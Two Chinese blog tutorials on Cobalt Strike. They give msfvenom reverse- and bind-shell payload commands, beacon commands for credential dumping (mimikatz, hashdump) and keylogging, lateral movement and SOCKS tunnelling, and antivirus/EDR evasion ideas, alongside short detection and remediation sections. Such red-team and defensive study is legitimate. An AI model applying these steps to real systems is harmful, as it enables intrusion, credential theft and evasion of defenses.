Cobalt Strike on SoulJian小站

Cobalt Strike 深度实战：木马生成、正反向与插件

Sat, 29 Aug 2026 23:40:00 +0800

写在前面：合法学习边界

Cobalt Strike 是商用红队工具，仅用于授权项目。非授权上线可能触犯法律。

一、正反向 Listener 与木马

反向连接（Reverse，最常用）

1
2
3


原理：目标主动连回攻击机
场景：目标可出网
Listener：windows/beacon_http_reverse_tcp、reverse_https

正向连接（Bind）

1
2
3


原理：目标开放端口，攻击机连过去
场景：目标只能进不能出（防火墙/隔离网）
Listener：windows/beacon_bind_tcp

Staged vs Stageless

1
2
3
4


Staged：先跑小段加载器，再从服务器拉完整 beacon
 体积小、隐蔽性好，但依赖分段下载
Stageless：完整 beacon 打进 exe
 体积大、更稳，常用于避免分段被拦

二、生成木马

界面生成

1
2
3
4
5


Attacks → Packages
Windows Executable（Staged/Stageless）
Windows Executable(S)：可分片
Scripted Web Delivery：远程加载
HTML Application / MS Office Macro：钓鱼投递

msfvenom 配合（正反向）

1
2
3
4


# 反向
msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻击机 LPORT=4444 -f exe -o shell.exe
# 正向
msfvenom -p windows/meterpreter/bind_tcp RHOST=目标 LPORT=4444 -f exe -o shell.exe

三、上线与后渗透

1
2
3


投递木马 → 目标执行 → 会话上线
常用命令：shell、upload/download、screenshot、
migrate、getsystem、hashdump、mimikatz、socks

四、插件（CNA / Aggressor）

1
2
3
4
5
6
7


Cobalt Strike 用 CNA（Aggressor Script）做扩展
常用插件类型：
 免杀/加载器
 CrossC2：Linux/macOS beacon
 各类信息收集/横向辅助
 GitHub 上有大量开源插件
加载：Script Manager → Load

五、免杀思路（授权内）

1
2
3
4
5
6
7


1. 改 C2 Profile：自定义流量特征（URI、UA、伪造流量）
2. 改监听端口、sleep、jitter，降低固定特征
3. 加载器免杀：shellcode 加密 + 白名单程序加载
 （rundll32 / mshta / powershell / 白文件）
4. 进程注入：注入白进程内存运行，不落地文件
5. 加壳/混淆：降低静态特征
6. 免杀是与杀软/EDR 的持续对抗，授权内测试

六、检测（对立面）

1
2
3
4
5


默认 Beacon 特征：固定端口/UA/流量指纹
内存特征、异常进程注入
mimikatz/hashdump 行为
回连域名/固定时间片
EDR 都能识别默认 CS → 必须改特征

完整操作步骤

1
2
3
4
5
6


第 1 步：启动 teamserver，连接 Client
第 2 步：按目标出网情况选正反向 Listener
第 3 步：生成 payload（Staged/Stageless），投递执行
第 4 步：确认上线，做基础后渗透（shell/mimikatz）
第 5 步：建 Socks 隧道、横向移动
第 6 步：改特征/免杀，做权限维持

七、小结

CS 深化的关键是：正反向连接选对场景、Staged/Stageless 选对投递、插件扩展能力、免杀要改特征。木马生成不只是“点一下生成”，还要考虑目标出不出网、杀软/EDR 能不能过、流量像不像真的。攻防双方都在研究它的指纹。

Cobalt Strike 基础使用与 Beacon 实战

Sat, 29 Aug 2026 16:40:00 +0800

写在前面：合法学习边界

Cobalt Strike 是商用红队工具，仅用于授权测试或授权渗透项目。未经授权使用、上线真实系统可能触犯法律。

一、工具定位

Cobalt Strike（CS）是红队常用的 C2 框架，核心组件：

1
2
3
4


Teamserver：服务端，管理团队与 Beacon
Client：攻击者操作界面
Listener：监听反向连接
Beacon：植入目标主机的后门会话

它的价值不只是“反弹 Shell”，而是团队协作 + 后渗透 + 横向的一体化平台。

二、启动与配置

启动 Teamserver

1
2


# 用法：teamserver <监听IP> <密码> [c2profile]
./teamserver 192.168.1.100 YourPassword

连接 Client

1
2


打开 Cobalt Strike → Connect
输入 teamserver IP、密码

新建 Listener（监听器）

1
2
3


Listeners → Add
Type 选 windows/beacon_https（加密回流，比 http 稳）
设置 Host 为攻击机 IP、端口（如 443/8443）

三、生成 Payload 并上线

生成 Beacon

1
2
3


Attacks → Packages → Windows Executable
选 Listener，生成 exe
把 exe 投递到目标执行（钓鱼/漏洞利用后）

上线确认

1

目标执行后，Cobalt Strike 的会话列表出现 Beacon

四、Beacon 常用命令

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


shell whoami # 执行系统命令
shell ipconfig /all
upload /path/x.exe # 上传文件
download C:\x.txt # 下载文件
screenshot # 截屏
ps # 进程列表
migrate <pid> # 进程注入迁移（稳会话）
getsystem # 提权到 SYSTEM
hashdump # 抓本地哈希
mimikatz sekurlsa::logonpasswords # 抓凭据
keylogger # 键盘记录
sleep 60 # 回连间隔
browserpivot # 浏览器劫持
socks 1080 # 开 Socks 代理
spawn # 派生新会话

五、横向与隧道

横向移动

1
2
3


用 beacon 的 psexec_psh / wmi 模块
目标：已抓到的哈希/账号横向登录其他主机
配合 mimikatz hashdump + psexec_psh

Socks 代理

1
2


beacon> socks 1080
本地 proxychains 指到 CS 客户端 → 访问内网

影响与风险

C2 一旦上线目标，攻击者能做的事远不止弹个 Shell：

1
2
3


长期驻留、随时远程控制
抓取凭据、横向移动整个内网
数据窃取、勒索、持久后门

风险等级：严重。CS 这类平台化工具放大了单点失陷的影响面。

六、特征与规避（务必注意）

1
2
3
4


默认 Beacon 特征明显：固定端口、固定 User-Agent、默认流量指纹
安全产品能识别默认 CS → 需改 C2 Profile 隐藏特征
上线频率(sleep)、进程迁移、内存中运行可降低落地风险
免杀与规避是独立课题，授权内使用

七、检测（对立面）

1
2
3
4


特征域名/固定回连流量
Beacon 内存特征、异常进程注入
抓包识别 C2 协议指纹
EDR 检测 CS 常用手法（mimikatz、hashdump、进程注入）

修复

1
2
3
4
5


清除失陷主机上的 Beacon 进程与持久化
排查计划任务/服务/注册表中的自启
加固出站策略，阻断 C2 回连
EDR 检测进程注入、mimikatz 等手法
修复后复测：无外联、无异常进程

完整操作步骤

1
2
3
4
5


第 1 步：启动 teamserver，连接 Client
第 2 步：新建 Listener（按出网情况选 http/https）
第 3 步：生成 Beacon payload 并投递执行
第 4 步：确认上线，做基础后渗透
第 5 步：改特征/降频，做持久化

八、小结

Cobalt Strike 的流程是：teamserver → listener → payload 上线 → beacon 后渗透 → 横向。它把红队工作“平台化”，但也因此特征明显——攻防双方都在研究它的指纹。授权使用、注意特征，是两件必须同时做的事。